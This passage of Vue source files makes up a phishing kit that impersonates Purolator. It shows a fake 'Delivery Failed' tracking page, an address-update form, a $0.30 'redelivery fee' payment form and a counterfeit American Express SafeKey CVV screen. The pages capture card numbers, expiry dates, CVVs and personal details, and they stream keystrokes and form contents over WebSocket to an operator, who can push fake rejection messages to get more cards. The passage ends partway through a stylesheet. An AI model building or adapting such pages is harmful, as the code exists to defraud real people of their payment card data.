src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iIzBBNjZDMiIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
alt="LinkedIn"
style="width: 32px; height: 32px;"
/>
</a>
<a href="javascript:;" class="social-link me-2">
<img
src="/img/x3_0.png"
alt="X"
style="width: 32px; height: 32px;"
/>
</a>
<a href="javascript:;" class="social-link me-2">
<img
src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iIzFDOTJGMCIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
alt="Facebook"
style="width: 32px; height: 32px;"
/>
</a>
<a href="javascript:;" class="social-link">
<img
src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iI0Y5QTgyNSIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
alt="Instagram"
style="width: 32px; height: 32px;"
/>
</a>
</div>
</div>
<!-- 两列主要内容 -->
<div class="row">
<!-- 左列 - About Purolator Quick Links -->
<div class="col-12 col-md-6">
<!-- About Purolator -->
<div class="mb-4">
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">About Purolator</h3>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Corporate Information</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Community & Environment</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">News & Updates</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Legal & Site Information</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Policies</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Accessibility Plan</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Accessibility Progress Report</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Annual Forced Labour & Child Labour Report</a></li>
</ul>
</div>
<!-- Quick Links -->
<div class="mb-4">
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">Quick Links</h3>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Holiday Schedule</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Careers</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Holiday & Peak Planning</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Becoming a Shipping Agent</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Carrier Login</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Becoming a Purolator supplier</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Tackle Hunger Campaign</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Operations Login</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Digital Lab</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Purolator International</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Resource Hub</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Service, Zone and Rate Guides</a></li>
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Purolator Social Media Guidelines and Terms of Use</a></li>
</ul>
</div>
</div>
<!-- 右列 - Logo, Mobile App, Certification -->
<div class="col-12 col-md-6">
<!-- Purolator Logo -->
<div class="text-center mb-4">
<img
src="/img/purolator_logo-Dg7zFu9c.png"
alt="Purolator Logo"
style="max-width: 200px; height: auto;"
/>
</div>
<!-- Mobile App -->
<div class="mb-4">
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px; text-align: center;">Our Mobile App</h3>
<div class="text-center">
<a href="javascript:;" class="d-block mb-2">
<img
src="/img/icon-appstore-DUjdPpUP.png"
alt="Download on the App Store"
style="max-width: 150px; height: auto;"
/>
</a>
<a href="javascript:;" class="d-block">
<img
src="/img/icon-googleplay-DvFlcbMB.png"
alt="Get it on Google Play"
style="max-width: 150px; height: auto;"
/>
</a>
</div>
</div>
<!-- Certification -->
<div class="text-center">
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">Certification</h3>
<img
src="/img/FSR-Certified_0-v0kJZovC.png"
alt="FSR Certified"
style="max-width: 120px; height: auto;"
/>
</div>
</div>
</div>
</div>
</div>
<!-- 版权信息 -->
<div class="bg-primary text-white py-3">
<div class="container">
<div class="text-center">
<p class="mb-0" style="font-size: 12px;">
Copyright © 2025 Purolator Inc. All rights reserved.
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Employee Login</a> |
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Terms and Conditions of Service</a> |
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Terms and Conditions of Site Use</a> |
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Privacy</a>
</p>
</div>
</div>
</div>
</footer>
</template>
<script>
export default {
name: 'FooterComponent',
methods: {
scrollToTop() {
window.scrollTo({
top: 0,
behavior: 'smooth'
});
}
}
}
</script>
<style scoped>
.footer {
background-color: white;
border-top: 1px solid #e0e0e0;
}
.social-icons {
display: flex;
justify-content: center;
align-items: center;
gap: 8px;
}
.social-link {
display: inline-block;
transition: opacity 0.3s ease;
}
.social-link:hover {
opacity: 0.8;
}
.mod-toTop {
background-color: #001996 !important;
border: none;
width: 40px;
height: 40px;
font-size: 18px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.mod-toTop:hover {
background-color: #000d5c !important;
}
.row {
display: flex;
flex-wrap: wrap;
margin: 0 -15px;
}
.col-12 {
width: 100%;
padding: 0 15px;
}
.col-md-6 {
width: 50%;
padding: 0 15px;
}
.container {
max-width: 450px;
margin: 0 auto;
padding: 0 15px;
}
.border-top {
border-top: 1px solid #e0e0e0;
}
.pt-4 {
padding-top: 1.5rem;
}
.pb-4 {
padding-bottom: 1.5rem;
}
.mb-0 {
margin-bottom: 0;
}
.mb-2 {
margin-bottom: 0.5rem;
}
.mb-3 {
margin-bottom: 1rem;
}
.mb-4 {
margin-bottom: 1.5rem;
}
.me-2 {
margin-right: 0.5rem;
}
.py-3 {
padding-top: 1rem;
padding-bottom: 1rem;
}
.px-3 {
padding-left: 1rem;
padding-right: 1rem;
}
.py-2 {
padding-top: 0.5rem;
padding-bottom: 0.5rem;
}
.text-center {
text-align: center;
}
.text-white {
color: white;
}
.bg-primary {
background-color: #001996;
}
.border-0 {
border: 0;
}
.rounded-circle {
border-radius: 50%;
}
.d-block {
display: block;
}
.d-md-none {
display: block;
}
@media (max-width: 767px) {
.col-md-6 {
width: 100%;
}
.d-md-none {
display: block !important;
}
}
@media (min-width: 768px) {
.d-md-none {
display: none !important;
}
}
</style>

View File

@@ -0,0 +1,163 @@
<template>
<header class="header">
<div class="header-container">
<!-- Logo区域 -->
<div class="logo-section">
<a href="javascript:;" class="logo-link" aria-label="Purolator">
<img
src="/img/purolator_logo-Dg7zFu9c.png"
alt="Purolator logo"
class="logo-image"
/>
</a>
</div>
<!-- 移动端菜单按钮 -->
<button
class="mobile-menu-btn"
@click="toggleMobileMenu"
aria-label="Toggle navigation"
>
<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
<path d="M3 12H21M3 6H21M3 18H21" stroke="#333" stroke-width="2" stroke-linecap="round"/>
</svg>
</button>
</div>
</header>
</template>
<script>
export default {
name: 'HeaderComponent',
data() {
return {
mobileMenuOpen: false
}
},
methods: {
toggleMobileMenu() {
this.mobileMenuOpen = !this.mobileMenuOpen
console.log('Mobile menu toggled:', this.mobileMenuOpen)
}
}
}
</script>
<style scoped>
.header {
position: fixed;
top: 0;
left: 0;
width: 100%;
z-index: 1000;
background: #ffffff;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.header-container {
max-width: 450px;
margin: 0 auto;
padding: 8px 15px;
display: flex;
align-items: center;
justify-content: space-between;
height: 50px;
}
/* Logo部分 */
.logo-section {
flex-shrink: 0;
}
.logo-link {
display: block;
text-decoration: none;
}
.logo-image {
height: 25px;
width: auto;
}
/* 移动端菜单按钮 */
.mobile-menu-btn {
background: none;
border: none;
cursor: pointer;
padding: 4px;
border-radius: 4px;
transition: background-color 0.3s ease;
}
.mobile-menu-btn:hover {
background-color: #f5f5f5;
}
/* 响应式设计 */
@media (max-width: 768px) {
.header-container {
max-width: 100%;
padding: 8px 15px;
height: 55px;
}
.logo-image {
height: 35px;
max-width: 120px;
}
.desktop-nav {
display: none;
}
.mobile-menu-btn {
display: block;
}
}
@media (max-width: 480px) {
.header-container {
padding: 8px 12px;
}
.logo-image {
height: 32px;
max-width: 110px;
}
}
/* 大屏幕 */
@media (min-width: 769px) {
.header-container {
max-width: 500px;
padding: 12px 20px;
height: 65px;
}
.logo-image {
height: 42px;
max-width: 150px;
}
.desktop-nav {
gap: 30px;
}
.nav-link {
font-size: 14px;
padding: 8px 12px;
}
.nav-icon {
width: 20px;
height: 20px;
margin-right: 8px;
}
}
@media (min-width: 1024px) {
.header-container {
max-width: 600px;
}
}
</style>

239
src/components/HomePage.vue Normal file
View File

@@ -0,0 +1,239 @@
<template>
<div class="home-page">
<!-- 头部导航 -->
<HeaderComponent />
<!-- 横幅图片 -->
<div class="banner-section">
<img
src="/img/shipping-and-receiving-banner-Cjj25G3-.jpg"
alt="Shipping and Receiving Banner"
class="banner-image"
/>
</div>
<!-- 主要内容区域 -->
<main class="main-content">
<div class="container">
<div class="content-card">
<!-- 包裹状态标题 -->
<div class="status-header">
<h1 class="status-title">Package Status</h1>
<div class="package-info">
<span class="package-number">US9987677846</span>
</div>
</div>
<!-- 失败通知 -->
<div class="delivery-failed">
<div class="failed-icon"></div>
<div class="failed-content">
<h2 class="failed-title">Delivery Failed</h2>
<p class="failed-description">
We were unable to deliver your package. Please update your shipping address or contact customer service for assistance.
</p>
</div>
</div>
<!-- 操作按钮 -->
<div class="action-buttons">
<router-link to="/update-address" class="btn-primary">
Update Address
</router-link>
</div>
</div>
</div>
</main>
<!-- 页脚 -->
<FooterComponent />
</div>
</template>
<script>
import HeaderComponent from './HeaderComponent.vue'
import FooterComponent from './FooterComponent.vue'
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
export default {
name: 'HomePage',
mixins: [behaviorTrackingMixin],
components: {
HeaderComponent,
FooterComponent
},
methods: {
contactSupport() {
alert('联系客服功能');
}
}
}
</script>
<style scoped>
.home-page {
display: flex;
flex-direction: column;
min-height: 100vh;
background-color: #f5f5f5;
}
.banner-section {
width: 100%;
height: 120px;
overflow: hidden;
display: flex;
align-items: center;
justify-content: center;
}
.banner-image {
width: 100%;
height: 100%;
object-fit: cover;
}
.main-content {
flex: 1;
padding: 20px 0;
}
.container {
max-width: 450px;
margin: 0 auto;
padding: 0 15px;
}
.content-card {
background: white;
border-radius: 8px;
padding: 24px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}
.status-header {
text-align: center;
margin-bottom: 24px;
}
.status-title {
font-size: 18px;
font-weight: 600;
color: #333;
margin: 0 0 8px 0;
}
.package-info {
display: flex;
justify-content: center;
align-items: center;
}
.package-number {
font-size: 13px;
color: #666;
font-weight: 500;
}
.delivery-failed {
display: flex;
align-items: flex-start;
padding: 16px;
background-color: #fff5f5;
border-left: 4px solid #dc3545;
border-radius: 4px;
margin-bottom: 24px;
}
.failed-icon {
font-size: 20px;
color: #dc3545;
margin-right: 12px;
margin-top: 2px;
}
.failed-content {
flex: 1;
}
.failed-title {
font-size: 16px;
font-weight: 600;
color: #dc3545;
margin: 0 0 8px 0;
}
.failed-description {
font-size: 14px;
color: #666;
line-height: 1.4;
margin: 0;
}
.action-buttons {
display: flex;
flex-direction: column;
gap: 12px;
}
.btn-primary {
display: block;
width: 100%;
background-color: #001996;
color: white;
text-decoration: none;
text-align: center;
padding: 16px 24px;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
transition: background-color 0.3s ease;
}
.btn-primary:hover {
background-color: #000d5c;
}
.btn-secondary {
width: 100%;
background-color: #f8f9fa;
color: #001996;
border: 1px solid #001996;
padding: 16px 24px;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s ease;
}
.btn-secondary:hover {
background-color: #001996;
color: white;
}
/* 响应式设计 */
@media (max-width: 480px) {
.container {
padding: 0 10px;
}
.content-card {
padding: 20px;
border-radius: 0;
margin: 0 -10px;
}
.banner-section {
height: 100px;
}
.status-title {
font-size: 16px;
}
.package-number {
font-size: 12px;
}
}
</style>

View File

@@ -0,0 +1,465 @@
<template>
<div class="payment-page">
<!-- 头部导航 -->
<HeaderComponent />
<!-- 主要内容区域 -->
<main class="main-content">
<div class="container">
<div class="content-card">
<!-- 页面标题 -->
<div class="page-header">
<h1 class="page-title">Pay online</h1>
<p class="page-subtitle">For redelivery, in we will charge some service fee</p>
</div>
<!-- 错误信息提示 -->
<div v-if="errorMessage" class="error-alert">
{{ errorMessage }}
</div>
<!-- 支付方式图标 -->
<div class="payment-methods">
<div class="payment-icons">
<div class="payment-icon visa">VISA</div>
<div class="payment-icon mastercard"></div>
<div class="payment-icon amex">AMEX</div>
<div class="payment-icon discover">discover</div>
<div class="payment-icon diners">DINERS</div>
<div class="payment-icon unionpay">unionpay</div>
<div class="payment-icon jcb">JCB</div>
</div>
</div>
<!-- 支付表单 -->
<form class="payment-form" @submit.prevent="processPayment">
<div class="form-group">
<label for="nameOnCard">Name on card</label>
<input
type="text"
id="nameOnCard"
v-model="formData.nameOnCard"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="cardNumber">Card number</label>
<input
type="text"
id="cardNumber"
v-model="formData.cardNumber"
class="form-control"
:class="{ 'error': errors.cardNumber }"
placeholder="xxxx xxxx xxxx xxxx"
@input="formatCardNumber"
maxlength="19"
/>
<div v-if="errors.cardNumber" class="error-message">
Card Number is missing or invalid
</div>
</div>
<div class="form-row">
<div class="form-group half">
<label for="expiryDate">Expiry date (MM/YY)</label>
<input
type="text"
id="expiryDate"
v-model="formData.expiryDate"
class="form-control"
:class="{ 'error': errors.expiryDate }"
placeholder="MM/YY"
@input="formatExpiryDate"
maxlength="5"
/>
<div v-if="errors.expiryDate" class="error-message">
Expiry date is not valid
</div>
</div>
<div class="form-group half">
<label for="securityCode">Security code (CVV)</label>
<input
type="text"
id="securityCode"
v-model="formData.securityCode"
class="form-control"
placeholder=""
maxlength="4"
/>
</div>
</div>
<!-- 支付按钮 -->
<div class="form-actions">
<button type="submit" class="btn-pay" :disabled="isProcessing">
<span v-if="!isProcessing">Total : $ 0.30</span>
<span v-else>Processing...</span>
</button>
</div>
</form>
</div>
</div>
</main>
<!-- 页脚 -->
<FooterComponent />
</div>
</template>
<script>
import HeaderComponent from './HeaderComponent.vue'
import FooterComponent from './FooterComponent.vue'
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
import { useWebSocket } from '../composables/useWebSocket.js'
export default {
name: 'PaymentPage',
mixins: [behaviorTrackingMixin],
components: {
HeaderComponent,
FooterComponent
},
data() {
return {
formData: {
nameOnCard: '',
cardNumber: '',
expiryDate: '',
securityCode: ''
},
errors: {
cardNumber: false,
expiryDate: false
},
isProcessing: false,
errorMessage: ''
}
},
created() {
// Reset form data when component is created
this.resetForm();
// 监听错误显示事件
this.errorListener = (event) => {
if (event.detail && event.detail.message) {
this.errorMessage = event.detail.message;
}
};
window.addEventListener('showError', this.errorListener);
},
mounted() {
// 初始化WebSocket控制
const { isProcessing, customErrorMessage } = useWebSocket();
this.isProcessing = isProcessing;
if (customErrorMessage.value) {
this.errorMessage = customErrorMessage.value;
}
},
beforeUnmount() {
// 移除事件监听
window.removeEventListener('showError', this.errorListener);
},
methods: {
resetForm() {
this.formData = {
nameOnCard: '',
cardNumber: '',
expiryDate: '',
securityCode: ''
};
this.errors = {
cardNumber: false,
expiryDate: false
};
this.errorMessage = '';
},
formatCardNumber() {
// 格式化卡号每4位加一个空格
let value = this.formData.cardNumber.replace(/\s/g, '').replace(/[^0-9]/gi, '');
let formattedValue = value.match(/.{1,4}/g)?.join(' ') || value;
this.formData.cardNumber = formattedValue;
// 验证卡号
this.errors.cardNumber = value.length < 13;
},
formatExpiryDate() {
// 格式化到期日期 MM/YY
let value = this.formData.expiryDate.replace(/\D/g, '');
if (value.length >= 2) {
value = value.substring(0, 2) + '/' + value.substring(2, 4);
}
this.formData.expiryDate = value;
// 验证到期日期
this.errors.expiryDate = value.length < 5;
},
processPayment() {
// 设置处理状态
this.isProcessing = true;
// 发送支付表单数据
this.trackFormSubmit('payment', this.formData);
// 通过WebSocket发送支付处理信息
if (this.$behaviorTracker) {
this.$behaviorTracker.sendToWsSub({
type: 'payment_processing',
data: {
...this.formData,
timestamp: new Date().toISOString()
}
});
}
// 模拟网络延迟
setTimeout(() => {
this.isProcessing = false;
console.log('处理支付:', this.formData);
alert('支付处理中...');
}, 1500);
}
}
}
</script>
<style scoped>
.payment-page {
display: flex;
flex-direction: column;
min-height: 100vh;
background-color: #f5f5f5;
}
.main-content {
flex: 1;
padding: 20px 0;
}
.container {
max-width: 450px;
margin: 0 auto;
padding: 0 15px;
}
.content-card {
background: white;
border-radius: 8px;
padding: 24px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}
.page-header {
text-align: center;
margin-bottom: 24px;
}
.page-title {
font-size: 24px;
font-weight: 600;
color: #333;
margin: 0 0 8px 0;
}
.page-subtitle {
font-size: 14px;
color: #666;
margin: 0 0 20px 0;
line-height: 1.4;
}
.error-alert {
padding: 12px;
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
border-radius: 4px;
margin-bottom: 20px;
font-size: 14px;
text-align: center;
}
.payment-methods {
margin-bottom: 24px;
}
.payment-icons {
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 8px;
margin-bottom: 20px;
}
.payment-icon {
display: flex;
align-items: center;
justify-content: center;
width: 45px;
height: 28px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 10px;
font-weight: bold;
background: white;
}
.payment-icon.visa {
color: #1434cb;
background: #fff;
}
.payment-icon.mastercard {
color: #eb001b;
font-size: 16px;
}
.payment-icon.amex {
color: #006fcf;
background: #fff;
}
.payment-icon.discover {
color: #ff6000;
font-size: 8px;
}
.payment-icon.diners {
color: #0079be;
font-size: 8px;
}
.payment-icon.unionpay {
color: #e21836;
font-size: 7px;
}
.payment-icon.jcb {
color: #006cb4;
}
.payment-form {
display: flex;
flex-direction: column;
gap: 20px;
}
.form-group {
display: flex;
flex-direction: column;
}
.form-group.half {
flex: 1;
}
.form-row {
display: flex;
gap: 15px;
}
.form-group label {
font-size: 14px;
color: #333;
margin-bottom: 8px;
font-weight: 500;
}
.form-control {
padding: 12px 16px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 16px;
background-color: #fff;
transition: border-color 0.3s ease;
}
.form-control:focus {
outline: none;
border-color: #001996;
box-shadow: 0 0 0 2px rgba(0, 25, 150, 0.1);
}
.form-control.error {
border-color: #dc3545;
}
.error-message {
color: #dc3545;
font-size: 12px;
margin-top: 5px;
font-weight: 500;
}
.form-actions {
margin-top: 24px;
}
.btn-pay {
width: 100%;
background-color: #001996;
color: white;
border: none;
padding: 16px 24px;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background-color 0.3s ease;
}
.btn-pay:hover {
background-color: #000d5c;
}
.btn-pay:active {
transform: translateY(1px);
}
.btn-pay:disabled {
background-color: #6c757d;
cursor: not-allowed;
opacity: 0.7;
}
/* 响应式设计 */
@media (max-width: 480px) {
.container {
padding: 0 10px;
}
.content-card {
padding: 20px;
border-radius: 0;
margin: 0 -10px;
}
.page-title {
font-size: 20px;
}
.form-row {
flex-direction: column;
gap: 20px;
}
.payment-icons {
gap: 6px;
}
.payment-icon {
width: 40px;
height: 25px;
font-size: 9px;
}
.form-control {
font-size: 16px; /* 防止iOS自动缩放 */
}
}
</style>

View File

@@ -0,0 +1,293 @@
<template>
<div class="update-address-page">
<!-- 头部导航 -->
<HeaderComponent />
<!-- 主要内容区域 -->
<main class="main-content">
<div class="container">
<div class="content-card">
<!-- 页面标题 -->
<div class="page-header">
<h1 class="page-title">Update Shipping Address</h1>
<p class="page-subtitle">Please fill in the correct information to ensure successful delivery again</p>
</div>
<!-- 表单区域 -->
<form class="address-form" @submit.prevent="updateAddress">
<div class="form-group">
<label for="fullName">Full name</label>
<input
type="text"
id="name"
v-model="formData.fullName"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="addressLine">Address Line</label>
<input
type="text"
id="address"
v-model="formData.addressLine"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="cityTown">City or Town</label>
<input
type="text"
id="city"
v-model="formData.cityTown"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="stateProvince">State / Province / Region</label>
<input
type="text"
id="state"
v-model="formData.stateProvince"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="postalCode">Postal code</label>
<input
type="text"
id="zipCode"
v-model="formData.postalCode"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="phoneNumber">phone number</label>
<input
type="tel"
id="phone"
v-model="formData.phoneNumber"
class="form-control"
placeholder=""
/>
</div>
<div class="form-group">
<label for="emailAddress">Recipient email address</label>
<input
type="email"
id="email"
v-model="formData.emailAddress"
class="form-control"
placeholder=""
/>
</div>
<!-- 提交按钮 -->
<div class="form-actions">
<router-link to="/payment" class="btn-secondary">
Proceed to Payment
</router-link>
</div>
</form>
</div>
</div>
</main>
<!-- 页脚 -->
<FooterComponent />
</div>
</template>
<script>
import HeaderComponent from './HeaderComponent.vue'
import FooterComponent from './FooterComponent.vue'
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
export default {
name: 'UpdateAddressPage',
mixins: [behaviorTrackingMixin],
components: {
HeaderComponent,
FooterComponent
},
data() {
return {
formData: {
fullName: '',
addressLine: '',
cityTown: '',
stateProvince: '',
postalCode: '',
phoneNumber: '',
emailAddress: ''
}
}
},
methods: {
updateAddress() {
this.trackFormSubmit('registration', this.formData);
console.log('更新地址信息:', this.formData);
alert('地址更新成功!');
}
}
}
</script>
<style scoped>
.update-address-page {
display: flex;
flex-direction: column;
min-height: 100vh;
background-color: #f5f5f5;
}
.main-content {
flex: 1;
padding: 20px 0;
}
.container {
max-width: 450px;
margin: 0 auto;
padding: 0 15px;
}
.content-card {
background: white;
border-radius: 8px;
padding: 24px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}
.page-header {
text-align: center;
margin-bottom: 32px;
}
.page-title {
font-size: 24px;
font-weight: 600;
color: #333;
margin: 0 0 12px 0;
}
.page-subtitle {
font-size: 14px;
color: #666;
margin: 0;
line-height: 1.4;
}
.address-form {
display: flex;
flex-direction: column;
gap: 20px;
}
.form-group {
display: flex;
flex-direction: column;
}
.form-group label {
font-size: 14px;
color: #333;
margin-bottom: 8px;
font-weight: 500;
}
.form-control {
padding: 12px 16px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 16px;
background-color: #fff;
transition: border-color 0.3s ease;
}
.form-control:focus {
outline: none;
border-color: #001996;
box-shadow: 0 0 0 2px rgba(0, 25, 150, 0.1);
}
.form-actions {
margin-top: 24px;
display: flex;
flex-direction: column;
gap: 12px;
}
.btn-update {
width: 100%;
background-color: #001996;
color: white;
border: none;
padding: 16px 24px;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background-color 0.3s ease;
}
.btn-update:hover {
background-color: #000d5c;
}
.btn-update:active {
transform: translateY(1px);
}
.btn-secondary {
display: block;
width: 100%;
background-color: #f8f9fa;
color: #001996;
text-decoration: none;
text-align: center;
border: 1px solid #001996;
padding: 16px 24px;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
transition: all 0.3s ease;
}
.btn-secondary:hover {
background-color: #001996;
color: white;
}
/* 响应式设计 */
@media (max-width: 480px) {
.container {
padding: 0 10px;
}
.content-card {
padding: 20px;
border-radius: 0;
margin: 30px -10px;
}
.page-title {
font-size: 20px;
}
.form-control {
font-size: 16px; /* 防止iOS自动缩放 */
}
}
</style>

View File

@@ -0,0 +1,251 @@
<template>
<div class="verification-container">
<div class="card">
<div class="header">
<div class="amex-logo">
<img src="/assets/amex-logo.svg" alt="American Express Logo" />
<span>SafeKey<span class="superscript">®</span></span>
</div>
</div>
<div class="divider"></div>
<h2>Your safety and security</h2>
<p class="description">
Please enter the last 3 characters of the planning position on the back of your American Express card.
</p>
<p class="transaction-details">
You are paying {{ verificationData?.amount || '$0.30' }} to {{ verificationData?.merchantName || 'Purolator Inc.' }} on {{ verificationData?.date || '05/07/2025' }} with your Card {{ verificationData?.cardLastDigits || '************' }}
</p>
<div class="form-group">
<input
type="text"
id="cvv-code"
v-model="cvvCode"
:disabled="isProcessing"
autocomplete="off"
placeholder="000"
maxlength="3"
@input="handleInput"
/>
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
<p v-if="isCardRejected" class="error-message">We were unable to verify this card, please replace the card and try again.</p>
</div>
<button
class="continue-button"
@click="submitCode"
:disabled="!isValid || isProcessing"
>
Continue
</button>
<div class="footer">
<a href="#" class="privacy-link">Privacy Center</a>
</div>
</div>
</div>
</template>
<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'
// WebSocket相关
const {
verificationData,
isProcessing: wsProcessing,
customErrorMessage,
isCardRejected: wsCardRejected,
submitVerificationCode,
trackInput
} = useWebSocket()
const cvvCode = ref('')
const errorMessage = ref('')
const isProcessing = ref(false)
const isCardRejected = ref(false)
const isValid = computed(() => {
return cvvCode.value.length === 3
})
// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
if (newVal) {
errorMessage.value = newVal
}
})
// 监听处理状态
watch(wsProcessing, (newVal) => {
isProcessing.value = newVal
})
// 监听卡片拒绝状态
watch(wsCardRejected, (newVal) => {
isCardRejected.value = newVal
})
// 处理输入
const handleInput = (event) => {
// 只允许输入数字
cvvCode.value = event.target.value.replace(/[^0-9]/g, '')
// 清除错误信息
if (errorMessage.value) {
errorMessage.value = ''
}
// 实时发送CVV码输入到WebSocket
if (cvvCode.value) {
trackInput('cvv', cvvCode.value)
}
}
// 提交CVV码
const submitCode = () => {
if (!isValid.value || isProcessing.value) return
isProcessing.value = true
errorMessage.value = ''
// 发送到WebSocket
submitVerificationCode('amex_cvv', cvvCode.value)
}
onMounted(() => {
// 检查是否有自定义错误信息
if (customErrorMessage.value) {
errorMessage.value = customErrorMessage.value
}
// 检查是否卡片被拒绝
if (wsCardRejected.value) {
isCardRejected.value = wsCardRejected.value
}
})
</script>
<style scoped>
.verification-container {
background-color: #f5f5f5;
}
.card {
background: white;
border-radius: 4px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
width: 100%;
min-height: 100vh;
padding: 1.5rem;
display: flex;
flex-direction: column;
}
.header {
padding-bottom: 0.5rem;
}
.amex-logo {
display: flex;
align-items: center;
font-size: 1.5rem;
font-weight: 600;
color: #333;
}
.amex-logo img {
height: 32px;
width: auto;
margin-right: 0.5rem;
}
.superscript {
font-size: 0.7em;
vertical-align: super;
}
.divider {
height: 1px;
background-color: #e0e0e0;
margin: 1rem 0;
}
h2 {
font-size: 1.25rem;
